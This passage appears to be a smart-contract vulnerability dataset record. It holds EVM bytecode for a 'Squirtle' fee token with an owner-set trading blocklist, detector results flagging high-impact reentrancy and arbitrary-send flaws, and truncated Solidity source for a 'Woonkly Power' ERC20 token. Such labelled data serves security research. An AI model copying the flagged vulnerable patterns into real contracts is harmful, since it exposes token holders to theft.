02ba60048036038101906102b591906128b0565b6107eb565b6040516102c79190612fc9565b60405180910390f35b3480156102dc57600080fd5b506102e561083c565b005b3480156102f357600080fd5b506102fc61098f565b6040516103099190612d5e565b60405180910390f35b34801561031e57600080fd5b506103276109b8565b6040516103349190612e47565b60405180910390f35b34801561034957600080fd5b50610364600480360381019061035f919061298d565b6109f5565b6040516103719190612e2c565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c91906129c9565b610a13565b005b3480156103af57600080fd5b506103b8610b63565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a5c565b610bdd565b005b3480156103ef57600080fd5b506103f8610c7c565b005b34801561040657600080fd5b50610421600480360381019061041c9190612a5c565b6111d8565b005b34801561042f57600080fd5b5061044a60048036038101906104459190612902565b611321565b6040516104579190612fc9565b60405180910390f35b34801561046c57600080fd5b5061048760048036038101906104829190612a5c565b6113a8565b005b60606040518060400160405280600881526020017f5371756972746c65000000000000000000000000000000000000000000000000815250905090565b60006104da6104d3611447565b848461144f565b6001905092915050565b6000683635c9adc5dea00000905090565b600061050284848461161a565b6105c38461050e611447565b6105be8560405180606001604052806028815260200161372560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610574611447565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bab9092919063ffffffff16565b61144f565b600190509392505050565b6105d6611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a90612f29565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106cf611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075390612f29565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ba611447565b73ffffffffffffffffffffffffffffffffffffffff16146107da57600080fd5b60004790506107e881611c0f565b50565b6000610835600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a565b9050919050565b610844611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c890612f29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f2471756972746c65000000000000000000000000000000000000000000000000815250905090565b6000610a09610a02611447565b848461161a565b6001905092915050565b610a1b611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9f90612f29565b60405180910390fd5b60005b8151811015610b5f57600160066000848481518110610af3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b57906132df565b915050610aab565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ba4611447565b73ffffffffffffffffffffffffffffffffffffffff1614610bc457600080fd5b6000610bcf306107eb565b9050610bda81611d78565b50565b610be5611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6990612f29565b60405180910390fd5b80600a8190555050565b610c84611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0890612f29565b60405180910390fd5b601160149054906101000a900460ff1615610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fa9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610df130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061144f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e3757600080fd5b505afa158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f91906128d9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed157600080fd5b505afa158015610ee5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0991906128d9565b6040518363ffffffff1660e01b8152600401610f26929190612d79565b602060405180830381600087803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7891906128d9565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611001306107eb565b60008061100c61098f565b426040518863ffffffff1660e01b815260040161102e96959493929190612dcb565b6060604051808303818588803b15801561104757600080fd5b505af115801561105b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110809190612a85565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671d7d843dc3b480006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611182929190612da2565b602060405180830381600087803b15801561119c57600080fd5b505af11580156111b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d49190612a33565b5050565b6111e0611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126490612f29565b60405180910390fd5b600081116112b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a790612ea9565b60405180910390fd5b6112df60646112d183683635c9adc5dea0000061207290919063ffffffff16565b6120ed90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516113169190612fc9565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b0611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490612f29565b60405180910390fd5b80600b8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b690612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152690612ec9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160d9190612fc9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168190612f69565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190612e69565b60405180910390fd5b6000811161173d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173490612f49565b60405180910390fd5b61174561098f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117b3575061178361098f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561185c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61186557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119105750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119665750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561197e5750601160179054906101000a900460ff165b15611a2e5760125481111561199257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119dd57600080fd5b600a426119ea91906130ff565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a39306107eb565b9050601160159054906101000a900460ff16158015611aa65750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611abe5750601160169054906101000a900460ff165b15611ae657611acc81611d78565b60004790506000811115611ae457611ae347611c0f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b8f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b9957600090505b611ba584848484612137565b50505050565b6000838311158290611bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bea9190612e47565b60405180910390fd5b5060008385611c0291906131e0565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5f6002846120ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c8a573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cdb6002846120ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d06573d6000803e3d6000fd5b5050565b6000600854821115611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4890612e89565b60405180910390fd5b6000611d5b612164565b9050611d7081846120ed90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e045781602001602082028036833780820191505090505b5090503081600081518110611e42577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ee457600080fd5b505afa158015611ef8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1c91906128d9565b81600181518110611f56577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fbd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461144f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612021959493929190612fe4565b600060405180830381600087803b15801561203b57600080fd5b505af115801561204f573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561208557600090506120e7565b600082846120939190613186565b90508284826120a29190613155565b146120e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d990612f09565b60405180910390fd5b809150505b92915050565b600061212f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061218f565b905092915050565b80612145576121446121f2565b5b612150848484612235565b8061215e5761215d612400565b5b50505050565b6000806000612171612414565b9150915061218881836120ed90919063ffffffff16565b9250505090565b600080831182906121d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121cd9190612e47565b60405180910390fd5b50600083856121e59190613155565b9050809150509392505050565b6000600a5414801561220657506000600b54145b1561221057612233565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061224787612476565b9550955095509550955095506122a586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124de90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238681612586565b6123908483612643565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123ed9190612fc9565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea00000905061244a683635c9adc5dea000006008546120ed90919063ffffffff16565b82101561246957600854683635c9adc5dea00000935093505050612472565b81819350935050505b9091565b60008060008060008060008060006124938a600a54600b5461267d565b92509250925060006124a3612164565b905060008060006124b68e878787612713565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bab565b905092915050565b600080828461253791906130ff565b90508381101561257c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257390612ee9565b60405180910390fd5b8091505092915050565b6000612590612164565b905060006125a7828461207290919063ffffffff16565b90506125fb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612658826008546124de90919063ffffffff16565b6008819055506126738160095461252890919063ffffffff16565b6009819055505050565b6000806000806126a9606461269b888a61207290919063ffffffff16565b6120ed90919063ffffffff16565b905060006126d360646126c5888b61207290919063ffffffff16565b6120ed90919063ffffffff16565b905060006126fc826126ee858c6124de90919063ffffffff16565b6124de90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061272c858961207290919063ffffffff16565b90506000612743868961207290919063ffffffff16565b9050600061275a878961207290919063ffffffff16565b905060006127838261277585876124de90919063ffffffff16565b6124de90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127af6127aa8461307e565b613059565b905080838252602082019050828560208602820111156127ce57600080fd5b60005b858110156127fe57816127e48882612808565b8452602084019350602083019250506001810190506127d1565b5050509392505050565b600081359050612817816136df565b92915050565b60008151905061282c816136df565b92915050565b600082601f83011261284357600080fd5b813561285384826020860161279c565b91505092915050565b60008135905061286b816136f6565b92915050565b600081519050612880816136f6565b92915050565b6000813590506128958161370d565b92915050565b6000815190506128aa8161370d565b92915050565b6000602082840312156128c257600080fd5b60006128d084828501612808565b91505092915050565b6000602082840312156128eb57600080fd5b60006128f98482850161281d565b91505092915050565b6000806040838503121561291557600080fd5b600061292385828601612808565b925050602061293485828601612808565b9150509250929050565b60008060006060848603121561295357600080fd5b600061296186828701612808565b935050602061297286828701612808565b925050604061298386828701612886565b9150509250925092565b600080604083850312156129a057600080fd5b60006129ae85828601612808565b92505060206129bf85828601612886565b9150509250929050565b6000602082840312156129db57600080fd5b600082013567ffffffffffffffff8111156129f557600080fd5b612a0184828501612832565b91505092915050565b600060208284031215612a1c57600080fd5b6000612a2a8482850161285c565b91505092915050565b600060208284031215612a4557600080fd5b6000612a5384828501612871565b91505092915050565b600060208284031215612a6e57600080fd5b6000612a7c84828501612886565b91505092915050565b600080600060608486031215612a9a57600080fd5b6000612aa88682870161289b565b9350506020612ab98682870161289b565b9250506040612aca8682870161289b565b9150509250925092565b6000612ae08383612aec565b60208301905092915050565b612af581613214565b82525050565b612b0481613214565b82525050565b6000612b15826130ba565b612b1f81856130dd565b9350612b2a836130aa565b8060005b83811015612b5b578151612b428882612ad4565b9750612b4d836130d0565b925050600181019050612b2e565b5085935050505092915050565b612b7181613226565b82525050565b612b8081613269565b82525050565b6000612b91826130c5565b612b9b81856130ee565b9350612bab81856020860161327b565b612bb4816133b5565b840191505092915050565b6000612bcc6023836130ee565b9150612bd7826133c6565b604082019050919050565b6000612bef602a836130ee565b9150612bfa82613415565b604082019050919050565b6000612c126026836130ee565b9150612c1d82613464565b604082019050919050565b6000612c356022836130ee565b9150612c40826134b3565b604082019050919050565b6000612c58601b836130ee565b9150612c6382613502565b602082019050919050565b6000612c7b6021836130ee565b9150612c868261352b565b604082019050919050565b6000612c9e6020836130ee565b9150612ca98261357a565b602082019050919050565b6000612cc16029836130ee565b9150612ccc826135a3565b604082019050919050565b6000612ce46025836130ee565b9150612cef826135f2565b604082019050919050565b6000612d076024836130ee565b9150612d1282613641565b604082019050919050565b6000612d2a6023836130ee565b9150612d3582613690565b604082019050919050565b612d4981613252565b82525050565b612d588161325c565b82525050565b6000602082019050612d736000830184612afb565b92915050565b6000604082019050612d8e6000830185612afb565b612d9b6020830184612afb565b9392505050565b6000604082019050612db76000830185612afb565b612dc46020830184612d40565b9392505050565b600060c082019050612de06000830189612afb565b612ded6020830188612d40565b612dfa6040830187612b77565b612e076060830186612b77565b612e146080830185612afb565b612e2160a0830184612d40565b979650505050505050565b6000602082019050612e416000830184612b68565b92915050565b60006020820190508181036000830152612e618184612b86565b905092915050565b60006020820190508181036000830152612e8281612bbf565b9050919050565b60006020820190508181036000830152612ea281612be2565b9050919050565b60006020820190508181036000830152612ec281612c05565b9050919050565b60006020820190508181036000830152612ee281612c28565b9050919050565b60006020820190508181036000830152612f0281612c4b565b9050919050565b60006020820190508181036000830152612f2281612c6e565b9050919050565b60006020820190508181036000830152612f4281612c91565b9050919050565b60006020820190508181036000830152612f6281612cb4565b9050919050565b60006020820190508181036000830152612f8281612cd7565b9050919050565b60006020820190508181036000830152612fa281612cfa565b9050919050565b60006020820190508181036000830152612fc281612d1d565b9050919050565b6000602082019050612fde6000830184612d40565b92915050565b600060a082019050612ff96000830188612d40565b6130066020830187612b77565b81810360408301526130188186612b0a565b90506130276060830185612afb565b6130346080830184612d40565b9695505050505050565b60006020820190506130536000830184612d4f565b92915050565b6000613063613074565b905061306f82826132ae565b919050565b6000604051905090565b600067ffffffffffffffff82111561309957613098613386565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310a82613252565b915061311583613252565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314a57613149613328565b5b828201905092915050565b600061316082613252565b915061316b83613252565b92508261317b5761317a613357565b5b828204905092915050565b600061319182613252565b915061319c83613252565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d5576131d4613328565b5b828202905092915050565b60006131eb82613252565b91506131f683613252565b92508282101561320957613208613328565b5b828203905092915050565b600061321f82613232565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327482613252565b9050919050565b60005b8381101561329957808201518184015260208101905061327e565b838111156132a8576000848401525b50505050565b6132b7826133b5565b810181811067ffffffffffffffff821117156132d6576132d5613386565b5b80604052505050565b60006132ea82613252565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561331d5761331c613328565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4d61782e2054782050657263656e74206d75737420626520677265617465722060008201527f7468616e20300000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c726561647920656e61626c6564202f206f706560008201527f6e65640000000000000000000000000000000000000000000000000000000000602082015250565b6136e881613214565b81146136f357600080fd5b50565b6136ff81613226565b811461370a57600080fd5b50565b61371681613252565b811461372157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d4230d567ae5e07b9a589aa7dcbe04439b0c484a1b747d2df0f51376844badb964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,561
0x94405e0aa404bda27869c4edc1d4a0a4e9bae3ab
pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract Woonkly { /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public constant name = "Woonkly Power "; //fancy name: eg Woow Token string public constant symbol = "Woop"; //An identifier: eg wow uint8 public constant decimals = 18; //How many decimals to show. using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; // M K 123456789012345678 uint256 private _totalSupply = 1000000000000000000000000000; constructor() public { _balances[msg.sender] = _totalSupply; // Give the creator all initial tokens } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256 balance) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256 remaining) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool success) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool success) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(_allowed[from][msg.sender] >= value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called 